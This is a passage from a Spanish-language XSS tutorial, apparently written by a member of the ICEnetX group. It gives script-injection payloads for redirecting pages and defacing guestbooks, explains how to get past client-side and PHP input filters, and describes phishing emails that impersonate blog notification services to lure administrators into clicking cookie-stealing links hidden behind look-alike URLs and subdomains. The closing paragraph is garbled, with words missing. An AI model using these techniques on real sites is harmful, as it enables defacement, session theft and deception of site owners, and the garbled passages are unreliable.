cuando inyectamos el cdigo, el cdigo de la pgina principal queda as: <select> <option>Home</option> <option>Gallery</option> <option>Links</option> <option>Contact</option> <option> wawa</option></select> <script>window.location= http://web.com/hacked.htm </script> select que contiene

</select> As cerramos la lista select, e inyectamos el cdigo que redirecciona el navegador hacia otra ubicacin. Otro ejemplo es el deface por medio de inyeccin en los guestbooks. Al firmar un guestbook, normalmente ingresas los siguientes datos: Nombre, correo, pgina, comentario. Y cuando se graban en el guestbook, el cdigo queda as: (los datos en color azul son los datos que el usuario ingres) <b>Name: nombre</b><br> <a href= mailto:[email protected] >Mail</a><br> <a href= http://pagina.com >Website</a> <i>Comentario:<br><code>Todo el comentario</code></i> Si el guestbook no aplica un sistema de filtrado por caracteres como < y > podemos realizar inyeccin en la pgina. Que tal si en el campo correo ingresamos lo siguiente: ><script>/** deface **/ </script> <b>Name: nombre</b><br> <a href= mailto: ><script>/** deface **/ </script> >Mail</a><br> <a href= http://pagina.com >Website</a> <i>Comentario:<br><code>Todo el comentario</code></i> De esta manera rompemos la etiqueta <a href e insertamos nuestro cdigo del deface. Tambin podramos realizar lo mismo con el campo pgina. As que para realizar este tipo de inyecciones, necesitamos estudiar el cdigo fuente y darnos cuenta de que sucede con los datos que nosotros ingresamos. De este modo conoceremos los lugares en donde podemos inyectar cdigo, y la forma en la que se debe de hacer. Las aplicaciones mas profesionales tienen filtros, que validan todos los datos que ingres el usuario para evitar inyecciones. Pero ah entran los ataques contra la validacin de entrada, que es buscar todos los medios por los que podemos inyectar cdigo (explicado anteriormente), o tratar de saltarnos los filtros; lo que vamos a ver a continuacin. Salto de filtros Como ya expliqu antes, las aplicaciones suelen tener filtros que procesan los datos ingresados por el usuario y los validan para remover las posibles inyecciones de cdigo. Ahora estudiar unos cuantos mtodos bsicos que se utilizan para tratar de saltar estos filtros. Y de nuevo, la forma en la que nos podemos saltar un filtro depende totalmente de la aplicacin, de cmo est hecha y de cmo funciona. Por eso debemos estudiar los filtros y saber exactamente como trabajan. Hay diferentes tipos de filtros. Primero tenemos el filtro programado en javascript. Cuando el usuario enva la informacin, el script recibe los datos y los valida, despus de que son filtrados y validados son enviados a alguna aplicacin que recibe los datos y hace lo que tenga que hacer con ellos.

Este es seguramente el filtro ms fcil de burlar, ya que se puede evitar de diferentes formas. La forma ms sencilla sera ver el cdigo fuente de la pgina y modificarlo, de modo que la informacin nunca pase por los filtros, despus el atacante graba este nuevo cdigo en su mquina y enva la informacin desde ah, sin necesidad de usar la pgina original. No olviden que para eso tambin tenemos que modificar otras cosas del cdigo como las opciones del formulario que indican a donde se enva la informacin. Lo inseguro de este filtro es que cualquier usuario puede ver como trabaja si observa el cdigo fuente. El segundo tipo de filtro es en el que hay dos aplicaciones php. El primer php pide los datos al usuario, y cuando este los enva el php los filtra y valida, y luego los enva al segundo php. El segundo php simplemente hace lo que tenga que hacer con la informacin. El filtro no se puede remover de la aplicacin, porque no tenemos acceso al cdigo php de la pgina. Pero si interceptamos las cabeceras del navegador, podemos observar como despus de que enviamos los datos a la pgina, se realiza otra peticin que enva la informacin ya filtrada al segundo php. As podemos modificar los datos que ya vienen filtrados, para cambiarlos por el cdigo con la inyeccin. La pgina que recibe los datos supone que la informacin que recibi ya viene validada, as que ya no los vuelve a validar. Este salto de filtros se debe a un error muy comn que cometen los programadores ya que de nuevo, no toman en cuenta las diferentes vas en las que se puede realizar la inyeccin. Luego viene el otro tipo de filtro. En el que se cuenta de nuevo con dos phps, el primero pide los datos al usuario y los enva hacia el segundo php. El segundo php valida los datos y luego el mismo hace lo que tenga que hacer con ellos. De esta forma ya no podemos manipular los datos, porque si interceptamos las cabeceras cuando se enva la informacin no servir de nada, ya que los campos todava no se validan. Seguramente la forma ms fcil y antigua (y por lo tanto casi no efectiva), es codificar los caracteres por valores URL y hexadecimales, y as tratar de que la aplicacin no los tome en cuenta pero que luego sean interpretados como cdigo. Estudiando el cdigo fuente de una aplicacin se pueden encontrar formas de saltar los filtros de inyeccin. Tambin tomen en cuenta que no siempre todos los campos son filtrados. El saltar filtros es un tema extenso, yo slo les expliqu lo fundamental, despus con la investigacin y experiencia aprendern diversas formas de burlarnos los filtros y poder realizar inyeccin. Y sto no solo se va a aplicar en el XSS, sino tambin en otro tipo de inyecciones como la inyeccin SQL Disminuyendo la sospecha Los ataques de XSS en pginas no estticas son un poco riesgosos, ya que se puede identificar el ataque fcilmente desde la URL de la pgina. Sin embargo, no debemos de descartar estos ataques por esta desventaja. Recuerden que el XSS es considerado un ataque de bajo riesgo por esa misma razn, pero la gente no tiene idea de lo que se puede hacer si se explota de forma correcta.

En estos ataques debemos de hacer que la victima entre a la pgina por medio del enlace que nosotros les damos. Sin duda la codificacin de caracteres en la URL, es un mtodo que oculta casi completamente el ataque para los usuarios normales, ya que ellos no tienen un conocimiento amplio y no podran identificar algo anormal en la URL. Un usuario normal se acostumbra a ver cosas raras en la URL de las pginas (parmetros), y por naturalidad los ignora. Ahora solo basta con aplicar un poco de ingeniera social para enviar el correo a la vctima. Para aplicar el ataque a algn administrador seguramente se tendrn que usar tcnicas ms avanzadas. Un ataque muy efectivo que he hecho, es el enviar un correo a la vctima con respecto a su sitio web, que haga que la vctima de clic en algn enlace. Y el enlace est hecho de la siguiente manera: <a href= http://pagina.com/?variable=codigo-roba-cookies > http://pagina.com/mensajes/moderar.php</a> As la vctima no ve la direccin del enlace en el correo, solo ve un link que contiene una direccin, y dejndose llevar por la apariencia dar clic en el enlace sin sospecha alguna. Lo que suelo hacer para realizar este tipo de ataques, es investigar alguna aplicacin o servicio emplead en la pgina, que suele enviar correos al administrador para informarle de cosas. Un ejemplo muy claro son los blogs, que notificar al administrador que se han enviado nuevos comentarios que hay que moderar. Una vez que tengo identificados los servicios que envan correos, mando un correo falso que contiene el enlace, hacindome pasar por dicho servicio. En la mayora de los ataques credencial-theft o de phishing, el navegador de la vctima es redireccionado hacia otra pgina. La vctima se puede dar cuenta de que no est en la pgina original, o de que algo raro est sucediendo si observa algunos detalles, como la direccin de la URL. Un buen truco para disfrazar la URL es crear subdominios largos y parecidos a los de la pgina original. S yo soy dueo del dominio icenetx.net puedo crear un subdominio login-passport-netcurmbox0008993d4. icenetx.net , y poner la pgina maligna en una carpeta larga y de nombre confuso como credential-passport/0009234900dd34900emailbox-888/passport.php , para que la URL parezca normal a simple vista. En los ataque de robo de cookies, se debe de hacer que la pgina que robe la cookie redireccione al usuario a la pgina original despus de obtener la informacin para que todo se vea ms normal. Lo mismo con los de phishing, la pgina que roba la informacin debera de logear al usuario en la pgina original despus de robar los datos. De otra manera el ataque va a ser muy muy sospechoso. El xito de este ataque depende altamente de aplicada por el atacante. Pero la ingeniera ms poderosos que hay , tomar provecho de la personas. Podemos recordar que Kevin Mitnick grandiosas usando solo ingeniera social. ============= Conclusin: | ============= la ingeniera social social es de los ataques estupidez de las poda hacer cosas

Con esto concluyo este (creo extenso xD) manual de XSS, quise hacer el manual lo ms completo posible en cuanto a fundamentos. Y trat de explicar todo con mucha claridad. Quiero agradecer al grupo ICEnetX, por apoyo y ayuda con el tutorial. A Megabyte por la informacin de tipos de ataques y salto de filtros. A Paisterist por ayudarme con ciertas dudas. Y a vos por leer el tutorial. Eso es todo, y nos vemos a la prxima y espero q les sirva.. La informacion que se brinda en este tutorial es solo para aprendisaje y conocim iento No me hago responsable del uso que le den a este ... Desde Ya Muchas Gracias !